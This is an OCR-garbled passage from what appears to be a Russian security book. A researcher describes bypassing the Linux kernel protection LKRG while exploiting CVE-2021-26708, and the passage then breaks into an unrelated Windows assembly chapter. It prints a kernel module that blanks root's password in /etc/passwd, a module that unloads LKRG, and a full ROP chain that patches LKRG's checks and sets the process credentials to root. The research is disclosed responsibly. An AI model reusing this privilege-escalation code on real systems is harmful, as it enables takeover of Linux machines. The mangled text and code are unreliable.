presentations/OSTconf2020-LKRG-In-A-Nutshell/) no xapaktepHeIM JeHCTBHUAM H
noBpexAeHHUI0 onpeaeneHHbix AaHHbIX. LKRG (puc. 1.5) oOHapyxuBaer:

a HECAHKIIHOHHPOBAHHOE TNOBBILIEHHE I'IpHBH.TIeI‘Hﬁ 4yepe3 BbI3OB (by}lKL(HH
commit creds () HJIK IOMOLIBIO NIEPE3ANHUCH struct cred,

a HapyHmEHHE H30JISIHH ITPOLECCa U BBIXOA H3 namespace;

O HecaHKUHMOHHPOBAaHHOE H3MEHEHHE COCTOSHHS Mpoleccopa (HanpHuMep, OTKIIOYEHHE
SMEP U SMAP Ha x86_64);

O HenpaBoMepHOE H3MEHEHHE NaHHBIX B CEKLHUAX . text H .rodata Aapa Linux;

O seinonHeHHe npuemos stack pivoting 1 ROP u ewe MHoroe apyroe.

Puc. 1.5. Norotun LKRG
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3Jtot npoekt noaaepxxusaercs (https://lkrg.org/) komnanueit Openwall. OcHoBHO# pa3-
pabotunk — AnaM «pid» 3abpouku (https://twitter.com/Adam_pi3), koTopslii 3aHUMa-
eTcs npoekToM B cBobonHoe Bpemsa. Ceityuac LKRG nocraBnsercs B 6era-Bepcu, Npu
3TOM pa3pabOTYHKH CTApaloTCsA MOAAEPKUBATh BBICOKYIO HAJIEXHOCTh M MOPTHPYEMOCTh
MEXAY pa3If4HbIMH BEPCUAMH sAapa. BoT 4To AnaM roBopHT O MpOEKTeE:

We are aware that LKRG is bypassable by design (as we have always spoken openly) but
such bypasses are neither easy nor cheap/reliable.

[NepeBoxy 3TO Tak:

Mui 3naem, yumo sawyumy LKRG moocHo oboumu (0 yem mbl 6ce20a omkpbimo 2060puiu),
00HAKO 3mu Memoobl 06x00a Henpocmole, Hedewesble U HEHAOEJCHbIe.

Hnes MarseitunkoB (https://github.com/milabs), u3BecTHbIH 3KCIEPT MO PYTKUTaM,
y>K€ MPOBOJMJI HccieqoBaHUA B 3TOH obnactu. OH coOpan pe3ynbTaTbhl CBOMX JKCIEpH-
MEHTOB B OTAeNdbHOM peno3utopuu (https://github.com/milabs/lkrg-bypass). B orser
Anam npoananusuposan pabory Mneu u ynyuymun LKRG (https://www.openwall.com/
lists/lkrg-users/2019/02/21/2), 4yro6bl yCTpaHUTh 3TH METObI 06X0/1a 3ALUMTHI.

A peumn nopaboTtate MOH yiy4leHHbIH mpoTtoTun 3kcruiouta aas CVE-2021-26708
(https://nvd.nist.gov/vuln/detail/CVE-2021-26708) u npuaymath HOBbIH cnocob 06xo-
na LKRG. Crano eue uHrepecHee. Mos nepsas uzaes 6si1a Takas. LKRG otcnexusaer
HECaHKLMOHMPOBAaHHOE IOBbIIIEHHUE NPUBUIIErHH, HO MIPH 3TOM HE CIIEAMT 3a COAEPXKH-
MbIM (aina /etc/passwd. 3HAYUT, 1 MOry nonpoboBaTh He3aMETHO COpPOCHTH MapoJb
T0JIb30BAaTENSA oot Yepe3 H3IMEHEHHE /etc/passwd! BblnolHEHHE KOMaHABI Su 110Cj€e 3TO-
ro Oyaer Boirnsaaets 411 LKRG abconoTHO serajibHo.

S cnenan GbICTpbIM NPOTOTHI AJIsA 3TOH UaeH. Y 100HO ObUI0 OQOPMHUTE €ro B BUIE HE-
6osbLIOro MoyIs Aapa:

#include <linux/module.h>

#include <linux/kallsyms.h>

static int _ init pwdhack_init (void)
{
struct file *f = NULL;
char *str = "root::0:0:root:/root:/bin/bash\n";
ssize_t wret;
loff t pos = 0;

pr _notice ("pwdhack: init\n");

f = filp open("/etc/passwd", O_WRONLY, 0);

if (IS_ERR(f)) {
pr_err ("pwdhack: filp open() failed\n");
return -ENOENT;

wret = kernel write(f, str, strlen(str), é&pos);
printk ("pwdhack: kernel write() returned %ld\n", wret);
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pr_notice ("pwdhack: done\n");

return 0;

static void  exit pwdhack exit (void)
{
pr_notice ("pwdhack: exit\n");

module_init (pwdhack init)
module_exit (pwdhack_exit)

MODULE_LICENSE ("GPL v2");

3TOT sAOepHBIA KOI IMepe3anuchiBaeT Havajno (aina /etc/passwd CTPOKOH
root::0:0:root:/root:/bin/bash\n H TEM CaMbIM YCTaHaBJIMBAeT MyCTOH Mapoyb AJs
HOJIB30BaTeNs root. [locCiie 3TOr0 HEMPHUBHUIIETHPOBAHHBIN MOJIB30BATEIb MOXET BBINOJ-
HHUTb KOMaHIY su U OeCrpensaTCTBEHHO MOJTYYHTh IPUBHIIETHH CYNEpHOIb30BaTeNs.

Hanee s peanuzoBan B cBoed ROP-nenouke Takyr JIOTHMKY C BBI30BOM GYHKUHH
filp open() M kernel write(), HO 3KCIUIOMT HE CMOT OTKPBITh ¢aiin /etc/passwd. Oka-
3BIBAETCS, AAPO NPOBEPSET NPHUBHIIETHH Mpolecca U npasuia nonutuku SELinux, naxe
korga ¢aiyn OTKpBIBaeTCs M3 MpOCTpaHCTBa sapa. [lepe3amuch npuBHIIErHH Mepen
filp open () Toxe He cpabotana: LKRG cpasy »xe o6Hapy»xHui 310 1 yOuI mpouecc JKc-
wionta. TakuM 06pa3oM, 3Ty HIEH0 MPUILIOCH OTOPOCHTS.

Bnepea, B ataky Ha LKRG!

Pasmeinsas 06 LKRG ¢ no3uuun aTakyromero, s 0CO3HaJl, 4YTO He HYXHO OT HEro nps-
TaTbcA. HanpoTuB, MHe mpuuuia uaes kak-1o yHMYToXuTh LKRG npsmo nu3z ROP-ue-
TIOYKH.

Camsblit npsAMO#H myTh K 3TOH Lenu — npocto Beirpy3uth LKRG u3 saapa. S Hanucan He-
6onb1IOH MOAYIB s1Apa, 4YTOOB!I IPOBEPHTD ITY TMIOTE3Y NEpe TeM, Kak nepepabaTbiBaTh
ROP-uenouky B axcnsonre:

#include <linux/module.h>

#include <linux/kallsyms.h>

static int _ init destroy lkrg init (void)
{
struct module *lkrg mod = find module ("p_lkrg");

if (!1krg mod) ({
pr_notice("destroy lkrg: p_lkrg module is NOT found\n");
return -ENOENT;
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if (!lkrg_mod->exit) {
pr_notice("destroy_lkrg: p_lkrg module has no exit method\n") ;
return -ENOENT;

pr_notice("destroy_ lkrg: p_lkrg module is found, remove it
brutally!\n");
lkrg mod->exit () ;

return 0;

static void __exit destroy lkrg exit(void)

{

pr_notice("destroy_lkrg: exit\n");

module init(destroy lkrg init)
module_exit (destroy lkrg exit)

MODULE LICENSE ("GPL v2");

OKCMEpUMEHT I0Ka3all, 4To 3To pabouas uaes, monyas LKRG 6bu1 BeirpyxeH. Toraa s
peanu3oBan B Moe#t ROP-nenouke 3Ty JOrHKy ¢ BbI30BOM (YHKUMH find module() H
exit () u3 LKRG, Ho oHa He cpabortana. [ToueMy? B ¢yHKUMH p lkrg deregister() B
npouecce cBoeit Beirpy3kun LKRG BbI3bIBaeT sipepHy0 QYHKUHIO schedule (), B KOTOPOH
y HEro nocTaBiieHa qonoyiHuTenbHas npoBepka pCFI (LKRG BcraBmisier Takue mpoBepKH
BO MHOrHe BakHble TOYkH sapa Linux). Ota mnpoBepka oOHapyxuBaeT Mmoo ROP-
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LIeroYKy M yOHBaeT mpolecc 3KCIUIOMTA MpsMO B mpouecce BoIrpy3kd Moayns LKRG.
K ToMmy xe cuctema npu 3ToM 3aBHcaeT. XKanb, Xxopoas Obl1a naes.

Torma s cran mymarp, kak eute MoxHO BeiBecTH LKRG u3 cTpost, u 00paTun BHUMaHHe
Ha kprobes U kretprobes. JTO KaK pa3 TOT MeXaHU3M, ¢ moMoiusto kotoporo LKRG pac-
CTaBJIIE€T CBOU MPOBEPKHU MO BceMy sapy Linux. TlepBsiM nenom s monpo6oBai nmpocTo
BBIKJIFOUHTD kprobes Y€pE3 LITATHYIO HACTPONKY B debugfs:

[root@localhost ~]1# echo 0 > /sys/kernel/debug/kprobes/enabled

Ha cucreme 6e3 LKRG 310 cpaboTtano KOppekTHO, HO, KOraa s mornpo0oBail cIenatb To
xe camoe ¢ 3arpyxeHHsIM LKRG, cucreMa monHOCThIO 3aBHC/Ia. MHe KaXeTcs, B 9TOM
cnyyae rae-to B aape u3-3a LKRG npoucxoaut B3aumHas GnokupoBka (deadlock) win
6eckoHeuHbl LMK, Kak Obl TO HM OBLIO, 1 HE CTan TPAaTUTh BpeMs Ha OTJIAKY ITOH
OLIHOKH.

Kcraru, otnagka sapa ¢ LKRG — 1o ewe ynosonscTBue. Hampumep, s monro He mor
HOHATH, noyeMy saapo Linux ¢ LKRG nagaer (crash) kaxnaslit pa3, koraa s nelTarochk Mo-
paboTtaTh B oTsIafguHKe. Jleao B TOM, 4TO NPH 3aJaHHH TOYKH OCTaHOBA gdb MEHSET HHCT-
pykuuto B koge sapa, a LKRG B nmapannensHoM MOTOke yepe3 HEKOTOpOe BpeMs oOHa-
PY’KHBAET 3TO KaK «OUIHMOKY LIETOCTHOCTH» M yOMBAET BCIO MallIMHY, NOKa f Tapallych B
OT/IaJ4HK, NbITASCh [TOHATH, YTO K yeMy! :)

YcnewHana ataka Ha LKRG

Haxkonen MHe ynanocs npuaymats pabouyro ataky npotuB LKRG. A cran paz6bupatbes B
€ro KoJe M Haumien aBe (QYHKUHMH, KOTOpble OTBEHAlOT 3a OOHapyxeHHe arTak. JTo
p_check_integrity(), KOTOpas BBINOJHAET NPOBEPKY LEIOCTHOCTH KoAa sapa, H
p_cmp_creds (), KOTOpasi CBepsieT NMPHUBHIIETHH MPOLIECCOB CHCTEMBI ¢ BHYTpeHHeH 6a3oit
LKRG 1 00HapyXHBaeT HECAaHKIIHOHHPOBAaHHOE MOBBIIIEHHE TIPUBUIIETHIA.

MHe npuuina uaes atakoBaTh B JI00 M mepenucarb KO 3THX ABYX GYHKLUMH MpAMO U3
ROP-uenouku B 3kcrmiouTe. SI cienan 370 ¢ NOMOILIBIO 0aHTOB 0x48 0x31 0OxcO Oxc3,
KOTOpBIE NPEICTABIAIOT CO00M HHCTPYKLMH xor rax, rax ; ret, TO €CThb return 0. [To-
cne 3Toro A GecnpensaTCTBEHHO MOIHSI NMPHUBHIIETHH Mpolecca 3KcruiouTa. OTiandHO!
Pasbepem monmyuuBurytocs ¢puHansHyro ROP-nenouky:

unsigned long *rop gadget = (unsigned long *) (xattr addr + MY UINFO OFFSET +

8) 7

int i = 0;

#define SAVED RSP_OFFSET 3400

#define ROP_MOV_RAX R9_RET (OXFFFFFFFF8106BDA41u + kaslr offset)
#define ROP_POP_RDX RET (OXFFFFFFFF8105ED4D1u +
kaslr_offset)

#define ROP_AND RAX RDX RET (OXFFFFFFFF8101AD341u + kaslr_offset)
#define ROP_ADD RAX RCX RET (OXFFFFFFFF8102BA351u + kaslr_offset)

#define ROP MOV RDX RAX RET (OXFFFFFFFF81999A1D1u + kaslr offset)
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#define ROP_POP_RAX RET (OXFFFFFFFF81015BF41u +
kaslr offset)
#define ROP_MOV_QWORD PTR RAX RDX RET (OXFFFFFFFF81B6CB171u +

kaslr_offset)

/* 1. Save RSP */

rop_gadget[i++] = ROP_MOV_RAX R9 RET; /* mov rax, r9 ; ret */
rop_gadget [i++] = ROP_POP_RDX RET; /* pop rdx ; ret */

rop_gadget [i++] = Oxfffffff£f000000001u;

rop_gadget [i++] = ROP_AND RAX RDX RET; /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD RAX RCX RET; /* add rax, rcx ; ret */
rop_gadget [i++] = ROP_MOV_RDX_ RAX RET; /* mov rdx, rax ; shr rax, 0x20 ;

xor eax, edx ; ret */

rop_gadget[i++] = ROP_POP_RAX RET; /* pop rax ; ret */

rop_gadget(i++] = uaf write_value + SAVED RSP OFFSET;

rop_gadget {i++] = ROP_MOV_QWORD PTR RAX RDX RET; /* mov qword ptr [rax], rdx ;
ret */

3Ota yactb ROP-LIeMOYKH BOCCTaHABIMBAET HayalbHOE 3HAUEHHE RSP U3 OUTOB B ECX M R9Y
(MeToOuKy s OMHMCHIBaJ BbIILE). DTO 3HAUYEHHE CTEKOBOTO YKa3aTelsl COXpaHSETCS B
ANEpHOM O0O0BeKkTe sk buff (OH TOA KOHTPOJEM aTaKyloUIero) 1o OTCTYIy
SAVED RSP OFFSET. Takas XHTpPOCTH IO3BOJIAE€T HE 3aHMMaTh NOJA XpaHEHHE 3HAYECHHsS
OTIENBHBIH PErHCTP, OH elle MPUTOAUTCS.

#define KALLSYMS_ LOOKUP_NAME (OXffffff££81183dcOlu + kaslr offset)
#define FUNCNAME OFFSET 1 3550

#define ROP_POP_RDI_RET (OXFFFFFFFF810046521u +
kaslr offset)
#define ROP_JMP_RAX (OXFFFFFFFF810000871u +

kaslr_offset)

/* 2. Destroy lkrg : part 1 */
rop_gadget [i++] ROP_POP_RAX RET; /* pop rax ; ret */
rop_gadget [i++] KALLSYMS_LOOKUP NAME;
/* unsigned long kallsyms_lookup_name (const char *name) */
rop_gadget [i++] ROP_POP_RDI_RET; /* pop rdi ; ret */
rop_gadget [i++] uaf _write_value + FUNCNAME_OFFSET_ 1;
strncpy ( (char *)xattr_addr + FUNCNAME OFFSET 1, "p_cmp creds", 12);
rop_gadget [i++] = ROP_JMP_RAX; /* jmp rax */

Ota yacth ROP-Llenmoyku BBI3BIBAET Q)yHKIIPHO kallsyms_lookup name ("p_cmp_creds").
B snepHOM 00bekTe sk _buff MO OTCTYMY FUNCNAME OFFSET 1 MOJATOTAaBJIMBAETCs CTPOKa
"p_cmp creds". Ee ampec 3arpyxaercs B perucTp RDI, yepe3 KOTOpBIH JOJKEH mepenaa-
BaThCs MEPBBIH apryMeHT PYHKIMH B COOTBETCTBHH ¢ System V AMD64 ABI.

BaxcHO 3aMETHUTB, YUTO OMUMS lkrg.hide IO YMOJTYaHHIO HUMEET 3HAUYEHHE 0, YTO MTO3BOJIS-
€T aTakywueMmy Jierko mnoiayuuth azapeca ¢ynkuuii LKRG ¢ momouisio BbI30Ba
kallsyms lookup name().
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Taioke ecTs ¥ aApyrue cnocoOsl caenaTh 3T0.
#define XOR RAX RAX RET (OXFFFFFFFF810859C01u +
kaslr offset)

#define ROP_TEST RAX RAX CMOVE RAX RDX RET (OxFFFFFFFF81196AA21u +
kaslr offset)

/* If lkrg function is not found, let's patch "xor rax, rax ; ret" */
rop_gadget (i++] = ROP_POP RDX RET; /* pop rdx ; ret */

rop_gadget [i++] XOR RAX RAX RET;

rop gadget [i++] = ROP_TEST RAX RAX CMOVE_RAX RDX RET; /* test rax, rax ; cmove
rax, rdx ; ret*/

Il

B  oatoft wyactu  ROP-uenouku  umer  obpaboTka  pe3ynabraTa  BBI30Ba
kallsyms lookup name(). JTa GbyHKUMS 4Yepe3 perucTp RAX BO3BpallaeT alIpec
p_cmp creds () WJIM NULL, ecid monyis LKRG He 3arpyxeH. DKCIJIOHUT IODKEH KOp-
pPeKTHO 06pabaTeIBaTh 00a 3TUX clydas, U A IPUIyMal IJIs 3TOro TaKoH TPHOK:

51 Hawen B AAEPHOM NaMATH «OKMBOH» MalUMHBI 0AHTHI HHCTPYKUMH xor rax, rax ; ret,
UX aZipec 37ech ONMpPEeIeSIeH KaK XOR RAX RAX RET.

JTOT anpec 3arpyaeTcs B perHCTP RDX.

Ecnu kallsyms_lookup name ("p_cmp_creds") BO3BpallaeT NULL, TO 3TOT aJpec 3arpyxa-
€TCS B PErHCTP RAX BMECTO NULL. s 3TOro Ucmosib3yeTcst HHCTpyKuus conditional move

B ra)K€Te test rax, rax ; cmove rax, rdx ; ret.

Otnuuno! Ecnu Monyne LKRG 3arpyxeH B siApo, 3KCIUIOMT NEpPEenHIIeT Koa QYHKLHUH
p_cmp_creds () HHCTPYKUHSIMH xor rax, rax ; ret. B MpoTUBHOM ciyuae, eciu LKRG
OTCYTCTBYET, 3KCIUIOUT MEPENHIIET HHCTPYKUHMH xor rax, rax ; ret TEMH XKe CAMBIMH
OalTaMM M HHYEro He MCMOPTHUT B SAEPHOH maMsaTH. JTa nepes3anuch (patching) Bemon-
HseTcs B cneayrowei yactu ROP-nenouku:

#define TEXT POKE (Oxff£ff£f££810313001u + kaslr_offset)

#define CODE_PATCH OFFSET 3450

#define ROP_MOV_RDI_RAX POP_RBX RET (OXFFFFFFFF81020ABD1u +
kaslr_offset)
#define ROP_POP RSI RET (OXFFFFFFFF810006A41u +

kaslr offset)

rop_gadget [i++] = ROP_MOV RDI_RAX POP_RBX RET;
/* mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
*/
rop_gadget [i++] 0x1337; /* dummy value for RBX */
rop_gadget [i++] = ROP_POP_RSI RET; /* pop rsi ; ret */
rop_gadget[i++] = uaf write value + CODE_PATCH_OFFSET;
strncpy ((char *)xattr_addr + CODE_PATCH_OFFSET, "\x48\x31\xcO\xc3", 5);
rop_gadget [i++] ROP_POP_RDX RET; /* pop rdx ; ret */
rop_gadget [i++] = 4;
rop gadget [i++] = ROP_POP RAX RET; /* pop rax ; ret */
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rop_gadget [i++] = TEXT_POKE ;

/* void *text poke(void *addr, const void *opcode, size t len)
*/
rop_gadget [i++] = ROP_JMP_RAX; /* jmp rax */

31ech 3KCIUIOWT MOATOTAaBIMBAET B PETHCTpax apryMeHThl s BBI30Ba (YHKLHMH
text_poke (), KOTOpas M BBIIOJHHUT ME€PE3aNHCh SAEPHOro Koaa:

Anpec uenH A Mepe3anucH KOMHPYETCs U3 RAX B RDI. JTO OynmeT mepBbI apryMeHT
¢ynkuuu. K coxaneHuio, MHe He ynanoch HalTH MEHBLIMH rafkeT, KOTOPhIH caenaer
3TO KOMHPOBAHHE, MIO3TOMY 3/1€Ch Ha CTEKE MOATOTOBJIEHBI JONOJHHUTENbHbIE OalThI 11
JHIIHEH HHCTPYKUMHU pop rbx W3 MEPBOrO rajKeTa.

B 06BekTe sk_buff MO OTCTYMy CODE PATCH OFFSET MOATOTAaBIMBAETCS MOJIE3Has Harpys3-
Ka 0x48 0x31 OxcO Oxc3 A mepe3amucH koma. Ee aapec coxpaHseTcs B PerucTp RSI
B KayeCTBe BTOPOro apryMeHTa )yHKUHH.

Tpetuit apryMeHT QyHKIUMH text_poke () — 3TO AJHHA JaHHBIX 11 nepe3anuc. OH me-
penaeTrcs 4epe3 perucTp RDX H UMEET 3Ha4eHHE 4.

SlnepHas ¢yHKuMA text poke() (https://elixir.bootlin.com/linux/vS.10/source/arch/
x86/kernel/alternative.c#1.959) — 3T0 mITaTHBIA MEXaHHU3M, C IOMOLIBIO KOTOPOTO PO
MOXET HU3MEHATh COOCTBEHHBIH KOA B AMHAMHKE, BO BpeMs paboTsl. JTa pyHKUHA Ha
KpaTKoe BpeMs JelaeT 0ToOpaXkeHHe HYKHOro KoJa JOCTYITHBIM JUIsl 3alTHCH U BHIITOJIHSA-
eT memcpy(). ITOH BO3MOXXHOCTBIO KaK pa3 MOJb3yeTCA kprobes M APYTrHe MEXaHH3MBI
anpa Linux.

OnucanHas mpoueaypa ¢ kallsyms lookup name(), cmove U text_poke() 3aTEM BBINOJI-
HAEeTCA A nepe3anucH GYHKUHH p check integrity() U3 Moayns LKRG. Tem cambim
skcriouT ycrtpanseT 3amuty LKRG, nenas ero monHocTeio GecroMomHbM. Tenepn
MOXHO OecnpensaTCTBEHHO MOBBICUTh NPUBHIIETHH Npouecca (3To yxe ObUIO OMmHCaHO
BBILIE):

#define ROP MOV QWORD PTR RAX 0 RET (OXFFFFFFFF8112E6D7lu + kaslr offset)

/* 3. Perform privilege escalation */

rop_gadget [i++] = ROP_POP_RAX RET; /* pop rax ; ret */

rop gadget[i++] = owner cred + CRED UID GID OFFSET;

rop_gadget [i++] = ROP_MOV_QWORD PTR RAX 0 RET; /* mov gword ptr [rax], 0 ;
ret */

rop_gadget [i++] = ROP_POP_RAX RET; /* pop rax ; ret */

rop _gadget[i++] = owner_cred + CRED EUID EGID OFFSET;

rop_gadget [i++] = ROP_MOV_QWORD PTR _RAX 0_RET; /* mov gword ptr [rax], 0 ;
ret */

QunanpHas yacth ROP-1IeMoYKH BOCCTaHABIHBAET HayajbHOE 3HaYeHHE PETUCTPa RSP U3
JaHHBIX 00BEKTA sk_buff 10 OTCTYMY SAVED RSP OFFSET:

/* 4. Restore RSP and continue */

rop_gadget [i++] = ROP_POP_RAX RET; /* pop rax ; ret */

rop_gadget [i++] uaf write value + SAVED RSP _OFFSET;
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rop gadget[i++] = ROP_MOV_RAX OWORD PTR_RAX RET; /* mov rax, gword ptr [rax] ;
ret */

rop_gadget [i++]
rop_gadget [1++]

ROP_PUSH_RAX_POP_RBX RET; /* push rax ; pop rbx ; ret */
ROP_PUSH RBX POP RSP RET;
/* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret */

[Tocne 3toro sapo Bo306HOBIAET 06pabOTKY CHCTEMHOro BbI30Ba recv (), HO IPOLECC
9KCIIJIONTA NpH 3TOM 00JaaeT NMpUBHUIETHAMH MOJb30BaTeNsd root. BCE, moxanyH, 310
Obla camas C0XKHas 4acTh I1aBBl.

OTBeTCTBEHHOE pa3rnaweHue nHpopmaumm

O pesynpratax Moux 3kcriepuMeHToB ¢ LKRG 51 coobmnn Anamy 3abpouku u Anekcan-
npy Ilecnsaky (Solar Designer (https://twitter.com/solardiz)) 10 urons 2021 roga. Mel
JetanbHO obcyaunu mou crnoco6sl obxona 3amutel LKRG n o6MeHAINCh MHEHHAMH O
MPOEKTE B LIETOM.

C no3Bonenus Anama u Anekcanzapa 3 v s onyOiIMKOBan pe3yabTaThl MOETO Hccie-
nosanus (https://www.openwall.com/lists/Ikrg-users/2021/07/03/1) B OTKpbITOM CITH-
CKE PacCBUIKH lkrg-users. Ha MOMeHT myOnukanuy 3TOH riaBbl MOH METOI aTakd BCe
ewe paboraer. [lna 3amutel Tpebyercs nepepaboTka apxutektypsl LKRG, oHa noka B
1aHax.

Ha moit B3rmsan, LKRG — 3ameuarensHsifi npoekt. Korna s Hayan u3y4arts ero, cpasy
e OTMETHJI, 4TO AJaM U Ipyrue pa3paboTYMKH MPUIOKHUIH OONBILHE YCHIIHUSA, YTOOBI
clenaTh KayeCTBEHHBIM M KpacHBBIH mMpoaykT. Bmecte ¢ TeM s ybexneH, 4To oOHapy-
XHUTh MOCIEACTBUS JIKCIUTyaTallUd SIEPHBIX YSI3BUMOCTEH Ha YpOBHE CaMoOro sijpa He-
BO3MOXHO. Anpbept JHHmTediH rosopun (https://ru.citaty.net/tsitaty/482501-albert-
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einshtein-nevozmozhno-reshit-problemu-na-tom-zhe-urovne-na-ko/): «HeBo3moxHo
pelHTh MpobiieMy Ha TOM XK€ YPOBHE, Ha KOTOPOM OHa BO3HHKJIa».

Jpyrumu cnoBamy, 3ammra LKRG nomkHa pabotaTh Ha Ipyrom ypoBHE MM B APYTOoM
KOHTEKCTe, 4ToObl 0OHapyKHBaTh AEATENbHOCTb aTakywulero B sape. B dacTHocTH,
LKRG Mor 6bl npeactaBnsth 00nbluyto nperpany Ads aTakyloulero, ecid 6bl Moayib
Obu1 mepeHeceH Ha YypoBeHb runepBusopa und ke B ARM Trusted Execution
Environment. Takoe nopTupoBaHHe — CJI0XXHas HHXXEHEPHAas 3a/1aya, U [JIs ee peleHHs
pa3pabotunikam LKRG Tpebyercs momaepkka coobluecTBa M, BO3MOXHO, 3aHHTEPECO-
BaHHBIX B IPOEKTE KOMIIaHHUH.

3aknyeHue

B aroii rnaBe onMcaHo, kak s mopaboTan CBOH MPOTOTHN IKCIIOWTA A YA3BUMOCTH
CVE-2021-26708 (https://nvd.nist.gov/vuln/detail/CVE-2021-26708) B sape Linux.
D10 OBLUTO HHTEPECHOE HCCNeA0BaHHE C OONMBIINM KOMHYECTBOM NPAKTHKH MO BO3BPATHO-
OpHEHTHPOBAHHOMY MpPOrpaMMHpPOBaHHIO U acceMOiepy. S uckan ROP/JOP-ramxeTsl B
namsaTd paboTarolleld CHCTEMbI H CMOT BBINOJIHUTD MEPEKIIIOYEHHE sepHoro cTeka (stack
pivoting) B orpaHHYeHHBIX ycIOBHAX. S Takxke npoaHanu3uposan 3awurty Linux Kemel
Runtime Guard (https://github.com/openwall/lkrg) ¢ no3uuuun arakymouiero, paspabo-
Tan HoBbli croco6 ataku Ha LKRG M npegocTtaBun pe3ynbTaThl CBOEro MCCIeIO0BAHHA
KOMaHzie pa3paboTYHKOB 3TOrO MPOEKTA.

S yBepeH, uTo 3Ta riaea Oyaer mone3Ha Qs coobuiecTBa pa3paborurkoB Linux, no-
CKOJIbKY OHa OTpa)kaeT MHOTHe MpakTHYecKHe acrnekTbl Oe3onacHocTH sapa. U ewe s
xouy ckasaThb crnacu6o komnanuu Positive Technologies 3a BO3M0OXHOCTb MPOBECTH ITO
HCClIeI0BaHHE.
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3annartka Ha acme.
Co3naem naHenb UHCTPYMEHTOB
ana Windows Ha Flat Assembler

Hzopb OpeuwjeHkoe

B 3roii rnaBe 1 pacckaxy o TOM, Kak CO3JaTh [IPOCTOE NPHIIOKEHHE — 3aroTOBKY MaHe-
¥ MHCTpYMeHTOB 1 pabouero crona Windows. [lo xony nena mbl BcloMHHM Win32
API, pa3bepemcs, kak ero Mcrnosnb3oBaTh Ha sf3blke acceMbiuepa, U no3Hakomumces c Flat
Assembler, KOTOpBI# CTaHET I HAC OCHOBHBIM HHCTPYMEHTOM pa3paboTKH.

HeT B MUpe coBepLieHCTBA

HapoaHnast MosiBa rinacur, 4To B OCHOBE MUPO3JaHHs JIEXKHT 3aKOH MOJUIOCTH, U3 KOTOPO-
ro CeayI0T BCe ocTalbHble (hyHAaMEHTalbHbIE 3aKOHBI NPUPOAbl. K TaKOBbIM OTHOCHTCH
¥ 3aKOH HeyOBbIBaIOLEH 3HTPONHH, B COOTBETCTBHH C KOTOPbIM MaTe€pHabHbIE NPEIMETHI
CO BPEMEHEM NPHUXOIAT B HErOAHOCTb. Ha MOEM MOHHTOpE 3TOT 3aKOH NMPOSBHICS B BHIE
TOPH30HTAJIbHBIX T10JIOC B BEPXHEH 4acTH 3KpaHa, KOTOpbIE BBIMIAAAT KaK HOTHbIH CTaH,
€CJIM 0]l HUMH paIMKAIbHO YepHbIH GOH, U Kak MHTepdepeHLHOHHas KapTHHA B JBYX-
11IeJIEBOM JKCIIEpHMEHTe, eciii GOH cBeTIbIH (puc. 2.1).

X «Xaxeps — BezonacmocTs, pasg X -+
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Banom NpueatHocTe  Tpioku  Koamwr  Aamux  Geek

Windows Linux Android eneso  Meccenpgxepot  Yieuxn  Koponasupyc

Puc. 2.1. [lecext MOHUTOPA B BUAE rOPU3OHTAMNbHBLIX NONOC

O3HakOMHUBILKCH ¢ 0630paMH aHaJOrHYHBIX Npobsiem no posnrkam Ha YouTube, s cocra-
BUJ uia cebs obuiee npeacraBineHde o6 3tom aedekte. OH MoxeT ObITh BbI3BaH MO0
TUIOXMM KOHTaKTOM LeH¢a, COeAMHSIOLIEro MaTpHLly MOHHTOPA C KOHTPOJUIEPOM, THO0
HEHCIIPAaBHOCTbIO B 3JIEKTPOHHBIX KOMIIOHEHTax camoro KoHTposiepa. [Tockonbky ra-
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PAHTHHHBIA CPOK YK€ 3aKOHYHIICH, 5 pa3o0Opan MOHUTOP M MPHLIEN K BBIBOAY, 4TO C OT-
CYTCTBHEM OIBITA U MHCTPYMEHTOB LIAHCHI HA YCIEUIHbIH PEMOHT Y MEHS NPHMEPHO
50 Ha 50: nubo ycrTpaHo nedekr, 1100 HCIOpYy BCE OKOHYATENBHO.

Kakue eme ocrarorcs BapuaHThI? 3HAKO MO OMBITY, YTO OQHUIMANBHBIA CEpPBUC, CKOpee
BCEro, BBICTABUT 3arpaJuTeNbHYIO LIEHY, a OTAaBaTh 0OEBOro TOBapHIIa B OYyMeJble
PYYKH KyCTaps-OAHHOYKH COBecTh He no3posser. Haubonee 31paBoit Kaxercs MbICIb
NOHTH B OyM>KafILIMI MarasuH, Ky[UTh HOBBIE MOHMTOP M HE IypHUTb IOJIOBY HHU cebe, HH
yutarensiM. MIMeHHo Tak s Obl M nocTynui, eciu 661 MOHUTOP He paboran coBceM. Ho oH
nowmu paboTaer, U BbIOpachIBaTh €ro MOMPOCTY KaJKO.

A Benpb ecliy moIymarb, pEMOHT HEO0sA3aTeNIbHO MpEANoaraeT BOCCTAHOBIEHHE HCXOM-
HOTO KayecTBa M3Je/IHsi — 3a4acTYIO JOIYyCKaeTCs HEKOTopas yTpaTa MOTpeOUTeNbCKHX
cBoiicTB. Kak, HampuMep, NOCTynaeT xakep, 0OHapy>XHB B OAMH INPEKPACHBIA NEHb JbI-
pYy... HET, He B 0€30MacHOCTH, a B IIOOUMBIX AOMalHUX Oprokax? /loctaeT CBOH TOJCTBIH
KolleNeKk M cnewut B Ommxadmuid OyTuk 3a HOBbIMH? Her, OH BCIIOMHHAET YPOKH
MapsBaHHbI H, IPUMEHSAS METOAOJIOTHIO «BIIEPE] UIOJIKa», HakIaabiBaeT 3amatky! Mnu
apyroii mpumep. B He MeHee npekpacHblli AeHb HHxeHepbl NASA oOHapyxuiu
(https://www.computerra.ru/211390/galileo/), uTo OCHOBHasi aHTEHHa PaJUOCBS3H 3a-
nymeHHoro k FOnurepy 30HZa He packpbulach MOJHOCTHIO. Pa3Be oHM OpocHIIH Heuc-
IpaBHOE YCTPOMCTBO HA MPOH3BOJ CYAbOBI H 0OPAaTHIIUCH K IPAaBUTENLCTBY 32 HUHAHCH-
poBaHHeM HoBoro? Her, OHM MpPOSBHUIM HAaXOJYUBOCTh M TEXHHYECKYIO CMEKalIKy,
B pe3yJbTaTe 4Yero MycTs U He 0e3 Tpynda, HO yCIEUIHO [TPOBEIH MHOTOJETHIOK HCCle-
JIOBATENbCKYI0 MHCCHIO.

Bbi6op uenu u cpeacTea

PaccmatpuBaemas B riiaBe CHTyallMss HaXOAMTCS TAE-TO MEXAY 3TUMH KpaHHUMH CIy-
yasMd. Haubonpuine HeynoOCTBa ONMHCaHHBIA NeeKT NOCTaBIsSeT IPH HCIOJNb30BaHUH
